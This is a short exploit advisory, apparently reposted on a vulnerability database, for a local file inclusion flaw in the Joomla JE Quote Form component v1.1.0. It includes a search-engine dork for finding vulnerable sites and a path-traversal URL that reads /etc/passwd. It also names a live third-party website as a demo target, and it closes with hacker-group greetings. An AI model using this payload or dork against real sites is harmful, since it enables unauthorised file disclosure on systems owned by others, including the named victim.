Joomla Component JE Quote Form LFI Vulnerability

2011-02-17 / 2011-02-18
Credit: Xr0b0t
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-98

[!]=============[!] [~] Joomla Component JE Quote Form LFI Vulnerability [~] Author : Xr0b0t (xrt.interpol@gmx.us) [~] Homepage : http://www.indonesiancoder.com | http://xrobot.mobi | http://mc-crew.net [~] Date : 17 Feb, 2011 [!]=============[!] [ Software Information ] [+] Vendor : http://www.joomlaextensions.co.in [+] Price : free [+] Vulnerability : LFI [+] Dork : inurl:"com_jequoteform" ;) [+] Version : v1.1.0 maybe lower also affected [!]=============[!] [ Vulnerable File ] http://127.0.0.1/index.php?option=com_jequoteform&view=[LFI BY ARUMBIA] [ XpL ] http://127.0.0.1//index.php?option=com_jequoteform&view=../../../../../../../../../../../../../../../etc/passwd%00 [ d3m0 ] http://www.impresaedilservice.it/index.php?option=com_jequoteform&view=../../../../../../../../../../../../../../../../../../../../../../../..//etc/passwd etc etc etc ;] [!]=============[!] [ Thx TO ] [+] kaMtiEz Ndang Rene... [+] INDONESIAN CODER TEAM IndonesianHacker Malang CYber CREW Magelang Cyber [+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot [+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck [+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31,Yur4kha,Geni212 [ NOTE ] [+] OJOK JOTOS2an YO .. [+] Minggir semua Arumbia Team Mau LEwat ;) [+] MBEM : lup u :"> [ QUOTE ] [+] INDONESIANCODER still r0x... [+] ARUmBIA TEam Was Here Cuy MINGIR Kabeh KAte lewat .. [+] Malang Cyber Crew & Magelang Cyber Community


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top